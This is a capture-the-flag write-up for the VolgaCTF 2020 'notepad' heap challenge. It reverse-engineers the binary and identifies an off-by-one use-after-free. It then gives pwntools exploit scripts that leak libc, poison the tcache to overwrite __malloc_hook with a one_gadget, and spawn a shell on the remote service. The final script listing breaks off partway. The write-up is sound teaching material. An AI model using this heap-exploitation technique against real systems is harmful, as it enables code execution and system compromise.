Exploit UAF to pwn a notepad binary.

Information

  • category : pwn
  • points : 300

Description

Notepad– is the app to store your most private notes, with an extremely lightweight UI. Check it out!

1 file: notepad

nc notepad.q.2020.volgactf.ru 45678

Writeup

I solved this challenge together with @sen.

$ file notepad
notepad: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, stripped

$ checksec --file=notepad
RELRO: FULL (No way to overwrite GOT to hijack functions)
STACK CANARY: YES (No easy way to do stack overflow)
NX: YES (No executable stack/heap)
PIE: YES (Address in the binary are randomized with ASLR)
FORTIFY: YES

64 bit ELF binary, all protections active, no useful symbols. We’re not given the glibc used on the server, but we can try to guess it reading the strings of the binary:

$ rabin2 -zz notepad
[Strings]
nth paddr      vaddr      len size section   type    string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x00000034 0x00000034 5   12             utf16le @8\t@\e
1   0x00000238 0x00000238 27  28   .interp   ascii   /lib64/ld-linux-x86-64.so.2
2   0x000004e9 0x000004e9 9   10   .dynstr   ascii   libc.so.6
3   0x000004f3 0x000004f3 14  15   .dynstr   ascii   __isoc99_scanf
[...]
22  0x00000593 0x00000593 9   10   .dynstr   ascii   GLIBC_2.7
23  0x0000059d 0x0000059d 9   10   .dynstr   ascii   GLIBC_2.4
24  0x000005a7 0x000005a7 11  12   .dynstr   ascii   GLIBC_2.2.5
[...]
84  0x00003010 0x00000000 40  41   .comment  ascii   GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
[...]

Probably the binary is using glibc 2.27 (default on ubuntu 18.04).

Let’s launch the binary:

./notepad
Welcome to Notepad--
Pick an existing notebook or create a new one
[p]ick    notebook
[a]dd     notebook
[d]elete  notebook
[l]ist    notebook
[q]uit

> a
Enter notebook name: nb_1

Pick an existing notebook or create a new one
[p]ick    notebook
[a]dd     notebook
[d]elete  notebook
[l]ist    notebook
[q]uit

> a
Enter notebook name: nb_2

Pick an existing notebook or create a new one
[p]ick    notebook
[a]dd     notebook
[d]elete  notebook
[l]ist    notebook
[q]uit

> a
Enter notebook name: nb_3

Pick an existing notebook or create a new one
[p]ick    notebook
[a]dd     notebook
[d]elete  notebook
[l]ist    notebook
[q]uit

> d
Enter index of a notebook to delete: 2

Pick an existing notebook or create a new one
[p]ick    notebook
[a]dd     notebook
[d]elete  notebook
[l]ist    notebook
[q]uit

> l # we can deduce that it shifts the notebooks when it deletes them
List of notebooks:
[1] nb_1
[2] nb_3

Pick an existing notebook or create a new one
[p]ick    notebook
[a]dd     notebook
[d]elete  notebook
[l]ist    notebook
[q]uit

> p
Enter index of a notebook to pick: 1
Operations with notebook "nb_1"
[a]dd     tab
[v]iew    tab
[u]pdate  tab
[d]elete  tab
[l]ist    tabs
[q]uit

> a
Enter tab name: tab_1
Enter data length (in bytes): 4
Enter the data: aaaa

Operations with notebook "nb_1"
[a]dd     tab
[v]iew    tab
[u]pdate  tab
[d]elete  tab
[l]ist    tabs
[q]uit

> a
Enter tab name: tab_2
Enter data length (in bytes): 8
Enter the data: bbbbb

Operations with notebook "nb_1"
[a]dd     tab
[v]iew    tab
[u]pdate  tab
[d]elete  tab
[l]ist    tabs
[q]uit

> l
List of tabs:
[1] tab_1
[2] tab_2

Operations with notebook "nb_1"
[a]dd     tab
[v]iew    tab
[u]pdate  tab
[d]elete  tab
[l]ist    tabs
[q]uit

> v
Enter index of a tab to view: 1
aaaa
Operations with notebook "nb_1"
[a]dd     tab
[v]iew    tab
[u]pdate  tab
[d]elete  tab
[l]ist    tabs
[q]uit

> d
Enter index of tab to delete: 2

Operations with notebook "nb_1"
[a]dd     tab
[v]iew    tab
[u]pdate  tab
[d]elete  tab
[l]ist    tabs
[q]uit

> l
List of tabs:
[1] tab_1

Operations with notebook "nb_1"
[a]dd     tab
[v]iew    tab
[u]pdate  tab
[d]elete  tab
[l]ist    tabs
[q]uit

> v # no error trying to view a tab deleted.
Enter index of a tab to view: 2

Operations with notebook "nb_1"
[a]dd     tab
[v]iew    tab
[u]pdate  tab
[d]elete  tab
[l]ist    tabs
[q]uit

Now let’s open the binary with cutter.

This is the main menu decompiled with r2ghidra-dec

void fcn.menu(void)
{
    int64_t arg4;
    undefined8 placeholder_1;
    int64_t *placeholder_0;
    int64_t in_FS_OFFSET;
    int64_t var_90h;
    int64_t var_8h;
    
    var_8h = *(int64_t *)(in_FS_OFFSET + 0x28);
    arg4 = 0x10;
    placeholder_0 = &var_90h;
    // garbage
    while (arg4 != 0) {
        arg4 = arg4 + -1;
        *placeholder_0 = 0;
        placeholder_0 = placeholder_0 + 1;
    }
    sym.imp.puts("Welcome to Notepad--");
    do {
        sym.imp.puts("Pick an existing notebook or create a new one");
        sym.imp.puts("[p]ick    notebook");
        sym.imp.puts("[a]dd     notebook");
        sym.imp.puts("[d]elete  notebook");
        sym.imp.puts("[l]ist    notebook");
        sym.imp.puts("[q]uit\n");
        sym.imp.printf(0x1a7e);
        do {
            do {
                placeholder_0 = &var_90h;
                placeholder_1 = 0x80;
                sym.imp.fgets(placeholder_0, 0x80, _reloc.stdin);
            } while ((char)var_90h == '\n');
        } while ((char)var_90h == '\r');
    // switch table (17 cases) at 0x1c54
        switch((char)var_90h) {
        case 'a':
            fcn.add();
            break;
        case 'd':
            fcn.delete(placeholder_0, placeholder_1, 
                       (int64_t)*(int32_t *)((uint64_t)((int32_t)(char)var_90h - 0x61) * 4 + 0x1c54), arg4);
            break;
        case 'l':
            fcn.list();
            break;
        case 'p':
            fcn.pick();
            break;
        case 'q':
            sym.imp.putchar(10);
            if (var_8h != *(int64_t *)(in_FS_OFFSET + 0x28)) {
    // WARNING: Subroutine does not return
                sym.imp.__stack_chk_fail();
            }
            return;
        }
        sym.imp.putchar(10);
    } while( true );
}

Let’s start analyzing the add function:

void fcn.add(void)
{
    int64_t iVar1;
    undefined8 book.notebooks.tabs;
    
    if (_book.count == 0x10) {
        puts("You\'ve reached the limit for notebooks! Delete some of the older once first!");
    } else {
        iVar1 = _book.count * 0x818;
        _book.count = _book.count + 1;
        printf("Enter notebook name: ");
        __isoc99_scanf("%s", book.notebook + iVar1);
    }
    return;
}

Disassembly:

Basically we can add up to 16 notebook, and we can guess that each notebook is 0x818 = 2727 bytes long, so if we multiply the size of each notebook * max numbers of notebook we know that the size of the book (collection of notebooks) is 0x8180.

Wait, how do you defined in cutter book and notebooks?

To be able to defined the structure I used the Types windows of cutter and from the Disassembly view I linked (Press L) the structure book to 0x203040.

Analyzing the program I defined three structures:

// we will cover later this one
struct tab {
	char tab_name[16];
	int64_t data_size;
	char *data;
};
struct notebook {
	char name_notebook[16];
	int64_t count_tab;
	struct tab tabs[64];
};
struct book {
	int64_t count_notebooks;
	char pad[24]; // padding, in the disassembly notebook
	struct notebook notebooks[16];
};
// this is to make the decompiler happy
struct tab_off {
	int64_t pad;
	char tab_name;
	int64_t dat_size;
	char *data;
};

We can see them from the Disassembly view:

Now let’s move on to the other functions

fcn.delete:

void fcn.delete(undefined8 placeholder_0, undefined8 placeholder_1, undefined8 placeholder_2, int64_t arg4)
{
    int64_t iVar1;
    uint32_t uVar2;
    int64_t iVar3;
    undefined8 *puVar4;
    undefined8 *puVar5;
    int64_t in_FS_OFFSET;
    uint8_t uVar6;
    int32_t index;
    int64_t index_buf;
    int64_t var_8h;
    
    uVar6 = 0;
    iVar1 = *(int64_t *)(in_FS_OFFSET + 0x28);
    printf("Enter index of a notebook to delete: ");
    fgets(&index_buf, 0x80, _reloc.stdin);
    uVar2 = atoi(&index_buf);
    index = uVar2 - 1;
    if ((index < 0) || (_book.count_notebooks <= index)) {
        printf("Wrong notebook index %d\n", (uint64_t)uVar2);
    } else {
        while ((int64_t)index < _book.count_notebooks + -1) {
            // copy notebooks (shifting)
            iVar3 = 0x103;
            puVar4 = (undefined8 *)(book.notebook + (int64_t)(index + 1) * 0x818);
            puVar5 = (undefined8 *)(book.notebook + (int64_t)index * 0x818);
            while (iVar3 != 0) {
                iVar3 = iVar3 + -1;
                *puVar5 = *puVar4;
                puVar4 = puVar4 + (uint64_t)uVar6 * 0x1ffffffffffffffe + 1;
                puVar5 = puVar5 + (uint64_t)uVar6 * 0x1ffffffffffffffe + 1;
            }
            index = index + 1;
        }
        _book.count_notebooks = _book.count_notebooks + -1;
    }
    if (iVar1 == *(int64_t *)(in_FS_OFFSET + 0x28)) {
        return;
    }
    // WARNING: Subroutine does not return
    __stack_chk_fail();
}

fcn.list:

void fcn.list(void)
{
    int64_t index;
    
    puts("List of notebooks:");
    index = 0;
    while ((int32_t)index < _book.count_notebooks) {
        printf("[%d] %s\n", (uint64_t)((int32_t)index + 1), book.notebook + (int64_t)(int32_t)index * 0x818);
        index = (int32_t)index + 1;
    }
    return;
}

Ok so far so good, the decompiler is a little confused, but we can see that there are various overflow inside the book structure "%s". Now we need to check the pick functions.

void fcn.pick(void)
{
    int64_t iVar1;
    uint32_t uVar2;
    int32_t iVar3;
    int64_t in_FS_OFFSET;
    int64_t index_buf;
    int64_t var_8h;
    
    iVar1 = *(int64_t *)(in_FS_OFFSET + 0x28);
    printf("Enter index of a notebook to pick: ");
    fgets(&index_buf, 0x80, _reloc.stdin);
    uVar2 = atoi(&index_buf);
    real_index = uVar2 - 1;
    if ((real_index < 0) || (_book.count_notebooks <= real_index)) {
        printf("Wrong notebook index %d\n", (uint64_t)uVar2);
    } else {
        fcn.pick_menu((notebook *)(book.notebook + (int64_t)real_index * 0x818));
    }
    if (iVar1 != *(int64_t *)(in_FS_OFFSET + 0x28)) {
    // WARNING: Subroutine does not return
        __stack_chk_fail();
    }
    return;
}

It’s pretty simple, pick requires an index of a notebook (The notebook list start at 1), and then it calls pick_menu:

void fcn.pick_menu(notebook *arg1)
{
    int64_t iVar1;
    int64_t *piVar2;
    int64_t in_FS_OFFSET;
    int64_t var_98h;
    int64_t var_90h;
    int64_t var_8h;
    
    var_8h = *(int64_t *)(in_FS_OFFSET + 0x28);
    iVar1 = 0x10;
    piVar2 = &var_90h;
    while (iVar1 != 0) {
        iVar1 = iVar1 + -1;
        *piVar2 = 0;
        piVar2 = piVar2 + 1;
    }
    do {
        sym.imp.printf("Operations with notebook \"%s\"\n", arg1);
        sym.imp.puts("[a]dd     tab");
        sym.imp.puts("[v]iew    tab");
        sym.imp.puts("[u]pdate  tab");
        sym.imp.puts("[d]elete  tab");
        sym.imp.puts("[l]ist    tabs");
        sym.imp.puts("[q]uit\n");
        sym.imp.printf(0x1a7e);
        do {
            do {
                sym.imp.fgets(&var_90h, 0x80, _reloc.stdin);
            } while ((char)var_90h == '\n');
        } while ((char)var_90h == '\r');
    // switch table (22 cases) at 0x1a84
        switch((char)var_90h) {
        case 'a':
            fcn.pick_add(arg1);
            break;
        case 'd':
            fcn.pick_delete(arg1);
            break;
        case 'l':
            fcn.pick_list(arg1);
            break;
        case 'q':
            sym.imp.putchar(10);
            if (var_8h != *(int64_t *)(in_FS_OFFSET + 0x28)) {
    // WARNING: Subroutine does not return
                sym.imp.__stack_chk_fail();
            }
            return;
        case 'u':
            fcn.pick_update(arg1);
            break;
        case 'v':
            fnc.pick_view(arg1);
        }
        sym.imp.putchar(10);
    } while( true );
}

As usual we have a menu, but with more options, remember that all the **pick_** functions have as parameter the pointer to the notebook chosen from **pick**.

void fcn.pick_add(notebook *arg1)
{
    int64_t iVar1;
    undefined8 uVar2;
    tab *ptVar3;
    int64_t in_FS_OFFSET;
    notebook *notebook_ptr;
    int64_t tab_name_1;
    int64_t tab_name_2;
    int64_t data_size;
    int64_t data;
    int64_t canary_cookie;
    
    iVar1 = *(int64_t *)(in_FS_OFFSET + 0x28);
    // notebook->count_tab
    if (arg1->tabs[0].data_size == 0x40) {
        sym.imp.puts("You\'ve reached the limit of tabs! Delete some of the older tabs to add a new one!");
    } else {
        sym.imp.printf("Enter tab name: ");
        sym.imp.__isoc99_scanf(str._s, &tab_name_1);
        sym.imp.printf("Enter data length (in bytes): ");
        sym.imp.__isoc99_scanf(str._ld, &data_size);
        sym.imp.printf("Enter the data: ");
        uVar2 = sym.imp.malloc(data_size);
        sym.imp.read(0, uVar2, data_size);
    // rdx = notebook_ptr->count_tab
    // rdx = count_tab * 32
    // rax = notebook_ptr+(count_tab * 32), aligned with tab_name[8]
        ptVar3 = arg1->tabs + arg1->tabs[0].data_size;
    // rcx = netbook_ptr->tabs[count_tab-1].data
    // rcx + 8 = next_tab
    // next_tab->tab_name = tab_name_1 + tab_name_2
        *(int64_t *)(ptVar3->tab_name + 0x18) = tab_name_1;
        *(int64_t *)(ptVar3->tab_name + 0x20) = tab_name_2;
    // next_tab->data_size = data_size
        *(int64_t *)(ptVar3->tab_name + 0x28) = data_size;
    // next_tab->data = data
        *(undefined8 *)(ptVar3->tab_name + 0x30) = uVar2;
    // notebook_ptr->count_tab++;
        arg1->tabs[0].data_size = arg1->tabs[0].data_size + 1;
    }
    if (iVar1 != *(int64_t *)(in_FS_OFFSET + 0x28)) {
    // WARNING: Subroutine does not return
        sym.imp.__stack_chk_fail();
    }
    return;
}

Ok here there are troubles, the decompiler doesn’t decompile correctly the function. But we can understand the code from the disassembly:

Basically the decompiler doesn’t recognize correctly the structure. One thing to keep in mind is that each tab of the notebook is 32 bytes large (shl rdx, 5) and that the compiler to align correctly the structures always does a *32 + 0x10 + 8.

Why?

In memory the structure is:

                            memory addr
char name_notebook[16]  |   16  0x10
int64_t count_tab       |   24
char tab_name[16]       |   40
int64_t data_size       |   48
char *data              |   56
chat tab_name[16]       |   72
int64_t data_size       |   80
char *data              |   88
chat tab_name[16]       |   104
int64_t data_size       |   112
char *data              |   120

So if we take the start address and add 32 * count we end up in the middle of tab_name (tab_name[8]), then the program add 0x10 to go into the data of a tab, and then it start adding stuff to the next tab using an offset of 8 (this compilation sucks).

Disassembly code:

0x00000b34      lea rdi, str.Enter_tab_name: ; 0x18ca ; "Enter tab name: " ; const char *format
0x00000b3b      mov eax, 0
0x00000b40      call sym.imp.printf ; int printf(const char *format)
0x00000b45      lea rax, [tab_name_1]
0x00000b49      mov rsi, rax
0x00000b4c      lea rdi, str._s    ; 0x18db ; "%s" ; const char *format
0x00000b53      mov eax, 0
0x00000b58      call sym.imp.__isoc99_scanf ; int scanf(const char *format)
0x00000b5d      lea rdi, str.Enter_data_length__in_bytes_: ; 0x18e0 ; "Enter data length (in bytes): " ; const char *format
0x00000b64      mov eax, 0
0x00000b69      call sym.imp.printf ; int printf(const char *format)
0x00000b6e      lea rax, [tab_name_1]
0x00000b72      add rax, 0x10
0x00000b76      mov rsi, rax
0x00000b79      lea rdi, str._ld   ; 0x18ff ; "%ld" ; const char *format
0x00000b80      mov eax, 0
0x00000b85      call sym.imp.__isoc99_scanf ; int scanf(const char *format)
0x00000b8a      lea rdi, str.Enter_the_data: ; 0x1903 ; "Enter the data: " ; const char *format
0x00000b91      mov eax, 0
0x00000b96      call sym.imp.printf ; int printf(const char *format)
0x00000b9b      mov rax, qword [data_size]
0x00000b9f      mov rdi, rax       ; size_t size
0x00000ba2      call sym.imp.malloc ;  void *malloc(size_t size)
0x00000ba7      mov qword [data], rax
0x00000bab      mov rax, qword [data_size]
0x00000baf      mov rdx, rax       ; size_t nbyte
0x00000bb2      mov rax, qword [data]
0x00000bb6      mov rsi, rax       ; void *buf
0x00000bb9      mov edi, 0         ; int fildes
0x00000bbe      call sym.imp.read  ; ssize_t read(int fildes, void *buf, size_t nbyte)
0x00000bc3      mov rax, qword [notebook_ptr]
0x00000bc7      mov rdx, qword [rax + 0x10] ; rdx = notebook_ptr->count_tab
0x00000bcb      mov rax, qword [notebook_ptr]
0x00000bcf      shl rdx, 5         ; rdx = count_tab * 32
0x00000bd3      add rax, rdx       ; rax = notebook_ptr+(count_tab * 32), aligned with tab_name[8]
0x00000bd6      lea rcx, [rax + 0x10] ; rcx = netbook_ptr->tabs[count_tab-1].data
0x00000bda      mov rax, qword [tab_name_1]
0x00000bde      mov rdx, qword [tab_name_2]
0x00000be2      mov qword [rcx + 8], rax 
; rcx + 8 = next_tab
; next_tab->tab_name = tab_name_1 + tab_name_2
0x00000be6      mov qword [rcx + 0x10], rdx
0x00000bea      mov rax, qword [data_size]
0x00000bee      mov rdx, qword [data]
0x00000bf2      mov qword [rcx + 0x18], rax ; next_tab->data_size = data_size
0x00000bf6      mov qword [rcx + 0x20], rdx ; next_tab->data = data
0x00000bfa      mov rax, qword [notebook_ptr]
 mov rax, qword [rax + 0x10]
0x00000c02      lea rdx, [rax + 1] ; notebook_ptr->count_tab++;
0x00000c06      mov rax, qword [notebook_ptr]
0x00000c0a      mov qword [rax + 0x10], rdx
0x00000c0e      mov rax, qword [canary_cookie]
0x00000c12      xor rax, qword fs:[0x28]
0x00000c1b      je 0xc22
0x00000c1d      call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
0x00000c22      leave
0x00000c23      ret

So it’s pretty obvious that the decompiler is confused, we can fix the decompiler view using a fake tab struct:

struct notebook {
	char name_notebook[16];
	int64_t count_tab;
	struct tab_off tabs[64];
};
struct tab_off {
	int64_t pad;
	char tab_name;
	int64_t dat_size;
	char *data;
};

However I opted to leave the things as they are in the disassembly.

This is the cleaner version of add:

void fcn.pick_add(notebook *arg1)
{
    int64_t iVar1;
    undefined8 uVar2;
    tab *ptVar3;
    int64_t in_FS_OFFSET;
    notebook *notebook_ptr;
    int64_t tab_name;
    int64_t data_size;
    int64_t data;
    int64_t canary_cookie;
    
    iVar1 = *(int64_t *)(in_FS_OFFSET + 0x28);
    if (notebook_ptr->count_tab == 0x40) {
        puts("You\'ve reached the limit of tabs! Delete some of the older tabs to add a new one!");
    } else {
        printf("Enter tab name: ");
        __isoc99_scanf("%s", &tab_name);
        printf("Enter data length (in bytes): ");
        __isoc99_scanf("%ld", &data_size);
        printf("Enter the data: ");
        data = malloc(data_size);
        read(0, data, data_size);
        next_tab = notebook_ptr->tabs[notebook_ptr->count_tab];
        next_tab->tab_name = tab_name;
        next_tab->data_size = data_size;
        next_tab->data = data
        notebook_ptr->count_tab++;
    }
    if (iVar1 != *(int64_t *)(in_FS_OFFSET + 0x28)) {
    // WARNING: Subroutine does not return
        __stack_chk_fail();
    }
    return;
}

Clean version of pick_delete:

void fcn.pick_delete(notebook *arg1)
{
    tab *ptVar3;
    tab *ptVar4;
    int64_t in_FS_OFFSET;
    int64_t notebook_ptr;
    
    var_8h = *(int64_t *)(in_FS_OFFSET + 0x28);
    iVar5 = 0x10;
    piVar6 = &index_buffer;
    printf("Enter index of tab to delete: ");
    fgets(&index_buffer, 0x80, _reloc.stdin);
    uVar2 = atoi(&index_buffer);
    real_index = uVar2 - 1;
    if ((real_index < 0) || (notebook_ptr->count_tab <= real_index)) {
        printf("Wrong tab index %d\n", (uint64_t)uVar2);
    } else {
        free(notebook_ptr->tabs[real_index].data);
        while (real_index < notebook_ptr->count_tab -1) {
            /*
            this block shift tabs
            ptVar3 = arg1->tabs + var_a0h;
            ptVar4 = arg1->tabs + (var_a0h + 1);
            uVar1 = *(undefined8 *)(ptVar4->tab_name + 0x20);
            *(undefined8 *)(ptVar3->tab_name + 0x18) = *(undefined8 *)(ptVar4->tab_name + 0x18);
            *(undefined8 *)(ptVar3->tab_name + 0x20) = uVar1;
            uVar1 = *(undefined8 *)(ptVar4->tab_name + 0x30);
            *(undefined8 *)(ptVar3->tab_name + 0x28) = *(undefined8 *)(ptVar4->tab_name + 0x28);
            *(undefined8 *)(ptVar3->tab_name + 0x30) = uVar1;
            */
            shift_tabs();
            real_index = real_index + 1;
        }
        notebook_ptr->count_tab--;
    }
    if (var_8h != *(int64_t *)(in_FS_OFFSET + 0x28)) {
    // WARNING: Subroutine does not return
        __stack_chk_fail();
    }
    return;
}

No null pointer after free, possible UAF.

Cleaner version of pick_view:

void fnc.pick_view(notebook *arg1)
{
    int64_t notebook_ptr = arg1;
    printf("Enter index of a tab to view: ");
    fgets(&index_buffer, 0x80, _reloc.stdin);
    uVar2 = atoi(&index_buffer);
    real_index = uVar2 - 1;
    if ((real_index < 0) || (notebook_ptr->count_tab < real_index)) {
        printf("Wrong tab index %d\n", (uint64_t)uVar2);
    } else {
        write(1, notebook_ptr->tabs[real_index].data, notebook_ptr->tabs[real_index].data_size);
    }
    if (var_8h != *(int64_t *)(in_FS_OFFSET + 0x28)) {
    // WARNING: Subroutine does not return
        __stack_chk_fail();
    }
    return;
}

Here there is a possible UAF (read primitive). Suppose that we have two tabs, and then we delete the second one so it triggers the free on data. Now if we try to view the second tab I send to pick_view index = 2, so it computes as real_index = 1. The counter of tabs is 1, so it checks:

if(notebook_ptr->count_tab < real_index) = if (1 < 1), which is false and so we can read a freed block.

Cleaner version of pick_update:

void fcn.pick_update(char *arg1)
{
    printf("Enter index of tab to update: ");
    // buffer
    fgets(&buffer, 0x80, _reloc.stdin);
    uVar1 = atoi(&buffer);
    real_index = uVar1 - 1;
    if ((real_index < 0) || (notebook_ptr->count_tab < real_index)) {
        printf("Wrong tab index %d\n", uVar1);
    } else {
        notebook_ptr = notebook_ptr + (int64_t)real_index * 0x20;
        printf("Enter new tab name (leave empty to skip): ");
        fgets(&tab_name, 0x80, _reloc.stdin);
        len_tab_name = strlen(&tab_name);
        if (1 < real_index) {
            tab_name[len_tab_name - 1] = 0;
            strncpy(notebook_ptr->tab_name, &tab_name, 0x10);
        }
        printf("Enter new data length (leave empty to keep the same): ");
        fgets(&data_len, 0x80, _reloc.stdin);
        data_size_len = strlen(&data_len);
        if (1 < data_size_len) {
            data_size = atol(&data_len);
            if (data_size != (notebook_ptr->tabs[real_index].data_size) {
                notebook_ptr->tabs[real_index].data_size = data_size;
                free(notebook_ptr->tabs[real_index].data);
                new_data = malloc(notebook_ptr->tabs[real_index].data_size);
                notebook_ptr->tabs[real_index].data = new_data;
            }
        }
        printf("Enter the data: ");
        read(0, notebook_ptr->tabs[real_index].data, notebook_ptr->tabs[real_index].data_size);
    }
    if (var_8h != *(int64_t *)(in_FS_OFFSET + 0x28)) {
    // WARNING: Subroutine does not return
        __stack_chk_fail();
    }
    return;
}

And here it is another off by one bug, in this case we can achieve a UAF (write primitive), because as before it checks the counter with < instead of <=.

Attack

Before attacking the binary is a good idea to export the symbols to the binary, to do that I used syms2elf. You need to save the cutter project, and then:

$ r2 notepad
 -- Use V! to enter into the visual panels mode (dwm style)
[0x000009f0]> Po volga-ctf-notepad  # open the project
Close current session? (Y/n) Y
eco: cannot open colorscheme profile (/home/meowmeow/CTF/volga/pwn/notepad/ayu)
afc: Unknown calling convention 'amd64' for 'linux'
See afcl for available types
[0x00000ab0]> $syms2elf notepad-syms
Exporting symbols to ELF...
ELF saved to: notepad-syms
[0x00000ab0]> afl
0x000009f0    1 42           entry0
0x000008f0    1 6            sym.imp.free
0x00000900    1 6            sym.imp.putchar
0x00000910    1 6            sym.imp.strncpy
0x00000920    1 6            sym.imp.puts
0x00000930    1 6            sym.imp.write
0x00000940    1 6            sym.imp.strlen
0x00000950    1 6            sym.imp.__stack_chk_fail
0x00000960    1 6            sym.imp.printf
0x00000970    1 6            sym.imp.read
0x00000000    3 459  -> 452  loc.imp._ITM_deregisterTMCloneTable
0x00000980    1 6            sym.imp.fgets
0x00000990    1 6            sym.imp.malloc
0x000009a0    1 6            sym.imp.setvbuf
0x000009b0    1 6            sym.imp.atol
0x000009c0    1 6            sym.imp.atoi
0x000009d0    1 6            sym.imp.__isoc99_scanf
0x000017b1    1 62           main
0x00000af0    5 154  -> 67   y.init0
0x00000ab0    5 58   -> 51   entry.fini0
0x00000a20    4 50   -> 40   fcn.00000a20
0x00001166    4 108          fcn.pick_list
0x00001442    4 117          fcn.add
0x000015ed    4 101          fcn.list
0x000008c0    3 23           fcn.000008c0
0x00001d2f    6 83   -> 94   fcn.00001d2f
0x00000afa    6 298          fcn.pick_add
0x00000c24    7 298          fcn.pick_view
0x00000d4e   12 614          fcn.pick_update
0x00000fb4   10 434          fcn.pick_delete
0x000011d2   17 414          000011d2
0x00001370    7 210          fcn.pick
0x000014b7   10 310          fcn.delete
0x00001652   16 351          00001652

This is very useful, because the binary is not PIE, so we can’t set arbitrary breakpoint when debugging (now we can).

To debug the binary I used ubutu 18.04 in VM.

The attack is very simple:

  1. Leak a libc address using a UAF (read).
  2. Write inside a free list (tcache) the address of malloc_hook.
  3. Send as data the address of one_gadget.
  4. Trigger another malloc.

To leak a libc address we can simply allocate 9 chunks of 0x80 bytes (the 9th is used to not consolidate the 8th chunk with the top chunk once it’s freed), and then free 8 of them.

The first 7 will go into the tcache, and the seventh will go into the unsorted bin.

Why 0x80 ?

Because if not, the 8th freed chunk will go into the fastbin which has only a forward pointer since it’s used as a LIFO list. The unsorted bin instead is managed with a double circular linked list and the first element has a backward pointer to the main_arena, and the main_arena (opposed to the other possible thread arenas source code) is inside the libc.

Now if we read the 8th freed chunk we get that backward pointer and from it we can compute where malloc_hook and one_gadget are in memory.

Let’s do the first part:

#!/usr/bin/env python3

from pwn import *

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def pick(index):
    p.sendlineafter('> ', 'p')
    p.readuntil(': ')
    p.sendline(str(index))

def add(name):
    p.sendlineafter('> ', 'a')
    p.sendlineafter(': ', name)

def delete(index):
    p.sendlineafter('> ', 'd')
    p.sendlineafter(': ', str(index))

def list_nb():
    p.sendline('> ', 'l')

def pick_add(name, data):
    p.sendlineafter('> ', 'a')
    p.readuntil(': ')
    p.sendline(name)
    p.readuntil(': ')
    p.sendline(str(len(data)))
    p.readuntil(': ')
    p.sendline(data)

def pick_view(index):
    p.sendlineafter('>', 'v')
    p.readuntil(': ')
    p.sendline(str(index))
    return p.read(8)

def pick_update(index, name, data):
    p.sendlineafter('> ', 'u')
    p.sendlineafter(': ', str(index))
    p.sendlineafter(': ', name)
    p.sendlineafter(': ', str(len(data)))
    p.sendlineafter(': ', data)

def pick_delete(index):
    p.sendlineafter('> ', 'd')
    p.sendlineafter(': ', str(index))

def pick_list():
    p.sendline('> ', 'l')

def pick_quit():
    p.sendline('> ', 'q')


p = gdb.debug('./notepad-syms', 'b tab_view')
#p = remote('notepad.q.2020.volgactf.ru', 45678)

context.log_level = 'DEBUG'

add("first_nb")
pick(1)

for i in range(9):
    pick_add("aaaa", chr(ord("A") + i) * 0x80)

for i in range(9, 1, -1):
    pick_delete(i)

main_arena_96 = u64(pick_view(2)[:8])
log.info(f"main_arena_+96: {hex(main_arena_96)}")

This is right before the print of the content of the tab:

As we can see it prints an address of the main_arena, let’s check the bins:

Then if we check what is around the leak address, we can spot the malloc_hook which is at the address main_arena_+96 - 112

Now we can compute all the addresses in the libc:

malloc_hook = main_arena_96 - 112
# base address
libc.address = malloc_hook - libc.symbols['__malloc_hook'] 
one_gadget = libc.address + 0x10a38c

Now we need to clean out the tcache so:

for i in range(8):
   pick_add("bbbb", chr(ord("A") + i) * 0x80)

So now we have 9 tabs, we add one more tab with size 8, we free it and then we overwrite the data of the last freed tab with malloc_hook.

Bins before the update.

Bins after the udpate.

Now we add two more tabs, and the second one will have as address of data the address of malloc_hook, we write in it the address of one_gadget. At the next malloc, malloc_hook will be triggered and we will get a shell.

pick_add("cccc", "S" * 0x8)

pick_delete(10)
# UAF write next tcache entry on malloc_hook
pick_update(10, 'dddd', p64(malloc_hook))
log.info("malloc_hook injected")
# This is just the first tcache entry
pick_add("fake", "E" * 8)
# This returns as data address the malloc_hook, overwrite it with one_gadget
pick_add("one_gadget", p64(one_gadget))
log.info("one_gadget plugged in")
pick_add("get shell", "F" * 8)
p.interactive()

Launch the exploit and…

Yeah got the flag.

Exploit

#!/usr/bin/env python3

from pwn import *

libc = ELF('./libc6_2.27-3ubuntu1_amd64.so', checksec=False)

def pick(index):
    p.sendlineafter('> ', 'p')
    p.readuntil(': ')
    p.sendline(str(index))

def add(name):
    p.sendlineafter('> ', 'a')
    p.sendlineafter(': ', name)

def delete(index):
    p.sendlineafter('> ', 'd')
    p.sendlineafter(': ', str(index))

def list_nb():
    p.sendline('> ', 'l')

def pick_add(name, data):
    p.sendlineafter('> ', 'a')
    p.readuntil(': ')
    p.sendline(name)
    p.readuntil(': ')
    p.sendline(str(len(data)))
    p.readuntil(': ')
    p.sendline(data)

def pick_view(index):
    p.sendlineafter('>', 'v')
    p.readuntil(': ')
    p.sendline(str(index))
    return p.read(8)

def pick_update(index, name, data):
    p.sendlineafter('> ', 'u')
    p.sendlineafter(': ', str(index))
    p.sendlineafter(': ', name)
    p.sendlineafter(': ', str(len(data)))
    p.sendlineafter(': ', data)

def pick_delete(index):
    p.sendlineafter('> ', 'd')
    p.sendlineafter(': ', str(index))

def pick_list():
    p.sendline('> ', 'l')

def pick_quit():
    p.sendline('> ', 'q')


# p = gdb.debug('./notepad-syms', 'b pick_update')
# p = process('./notepad-syms')
p = remote('notepad.q.2020.volgactf.ru', 45678)

#context.log_level = 'DEBUG'

add("first_nb")
pick(1)

for i in range(9):
    pick_add("aaaa", chr(ord("A") + i) * 0x80)

for i in range(9, 1, -1):
    pick_delete(i)

main_arena_96 = u64(pick_view(2)[:8])
log.info(f"main_arena_+96: {hex(main_arena_96)}")
malloc_hook = main_arena_96 - 112
# base address
libc.address = malloc_hook - libc.symbols['__malloc_hook'] 
one_gadget = libc.address + 0x10a38c
log.info(f"libc_base: {hex(libc.address)}")
log.info(f"malloc_hook: {hex(malloc_hook)}")
log.info(f"one_gadget: {hex(one_gadget)}")

for i in range(8):
    pick_add("bbbb", chr(ord("A") + i) * 0x80)

pick_add("cccc", "S" * 0x8)

pick_delete(10)
# UAF write next tcache entry on malloc_hook
pick_update(10, 'dddd', p64(malloc_hook))
log.info("malloc_hook injected")
# This is just the first tcache entry
pick_add("fake", "E" * 8)
